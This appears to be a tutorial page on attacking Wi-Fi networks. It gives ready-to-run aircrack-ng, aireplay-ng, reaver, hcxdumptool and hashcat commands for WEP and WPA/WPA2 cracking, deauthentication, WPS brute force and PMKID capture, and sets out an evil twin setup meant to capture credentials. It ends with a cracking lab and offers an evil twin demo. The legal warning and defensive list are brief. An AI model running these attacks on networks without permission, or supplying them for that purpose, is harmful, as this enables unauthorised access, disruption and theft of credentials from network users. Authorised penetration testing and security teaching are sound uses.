📡 Wireless Security

Wireless Security Complete Guide

Complete guide to Wi-Fi security — reconnaissance, exploitation (WEP, WPA/WPA2, WPA3), and defense techniques.

Introduction to Wireless Security

Wireless networks (Wi-Fi) are vulnerable to various attacks due to weak encryption, misconfigurations, and physical accessibility. This guide covers reconnaissance, exploitation, and defense techniques for both WEP, WPA/WPA2, and WPA3 networks.


1. Wireless Reconnaissance

A. Identifying Networks

Scan for nearby networks:

📡 Terminal Network Scan
sudo iwconfig                 # List available interfaces
sudo airmon-ng start wlan0     # Enable monitor mode
sudo airodump-ng wlan0mon      # Scan networks

Key details:

B. Target Selection

Prioritize weak networks:


2. Wireless Attacks

A. WEP Cracking (Outdated but Still Found)

WEP uses RC4 encryption and is easily crackable due to IV (Initialization Vector) reuse.

Steps:

  1. Capture packets:
📡 Terminal WEP Capture
sudo airodump-ng -c <channel> --bssid <BSSID> -w wep_crack wlan0mon
  1. Force IV generation (ARP replay attack):
📡 Terminal ARP Replay
sudo aireplay-ng -3 -b <BSSID> -h <client_MAC> wlan0mon
  1. Crack with aircrack-ng:
📡 Terminal WEP Crack
sudo aircrack-ng wep_crack-01.cap

B. WPA/WPA2 Cracking

WPA/WPA2-PSK (Pre-Shared Key) is vulnerable to brute force/dictionary attacks.

Steps:

  1. Capture WPA Handshake (4-way authentication):
📡 Terminal Capture Handshake
sudo airodump-ng -c <channel> --bssid <BSSID> -w handshake wlan0mon
  1. Deauthenticate a client to force reconnection:
📡 Terminal Deauth Attack
sudo aireplay-ng -0 5 -a <BSSID> -c <client_MAC> wlan0mon
  1. Crack with hashcat or aircrack-ng:
📡 Terminal WPA Crack
aircrack-ng -w rockyou.txt handshake-01.cap
or
hashcat -m 22000 handshake.hc22000 rockyou.txt

C. Evil Twin Attack (Rogue AP)

Tools: airbase-ng, hostapd-wpe

Steps:

  1. Set up rogue AP:
📡 Terminal Rogue AP
sudo airbase-ng -a <BSSID> --essid "Free_WiFi" -c <channel> wlan0mon
  1. Redirect traffic:
📡 Terminal DNS Redirect
sudo dnschef -i <interface> --fakeip 192.168.1.1
  1. Capture credentials when victims connect.

D. WPS (Wi-Fi Protected Setup) Attack

Tools: reaver, bully

📡 Terminal WPS Attack
sudo reaver -i wlan0mon -b <BSSID> -vv -K 1

E. KRACK Attack (Key Reinstallation Attack)

Tool: krackattacks-scripts

Steps:

  1. Monitor network traffic.
  2. Forge handshake packets to intercept data.

3. Advanced Attacks

A. PMKID Attack (WPA/WPA2)

Tools: hcxdumptool, hashcat

Steps:

  1. Capture PMKID:
📡 Terminal PMKID Capture
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1
  1. Crack with hashcat:
📡 Terminal PMKID Crack
hashcat -m 16800 pmkid.hc16800 rockyou.txt

B. WPA3 Downgrade Attack

Tool: dragonblood


4. Defensive Measures

A. Securing Wi-Fi Networks

✔ Use WPA3-SAE (if available)

✔ Disable WPS (Vulnerable to brute force)

✔ Use strong passwords (Avoid dictionary words)

✔ Enable MAC filtering (Whitelist devices)

✔ Disable SSID broadcasting (Hidden network)

✔ Monitor for rogue APs (Airodump-ng, Kismet)

B. Detection Tools


5. Hands-On Lab

Lab: Cracking WPA2 with Aircrack-ng

1. Enable monitor mode:

📡 Terminal Monitor Mode
sudo airmon-ng start wlan0

2. Scan networks:

📡 Terminal Scan Networks
sudo airodump-ng wlan0mon

3. Capture handshake:

📡 Terminal Capture Handshake
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w capture wlan0mon

4. Deauth a client:

📡 Terminal Deauth Client
sudo aireplay-ng -0 5 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon

5. Crack the handshake:

📡 Terminal Crack Handshake
sudo aircrack-ng -w rockyou.txt capture-01.cap

6. Legal & Ethical Considerations

⚠ Only hack networks you own or have permission to test.

⚠ Unauthorized access is illegal (Computer Fraud and Abuse Act, etc.).


Conclusion

🔹 Next Steps

🚀 Would you like a step-by-step Evil Twin attack demo?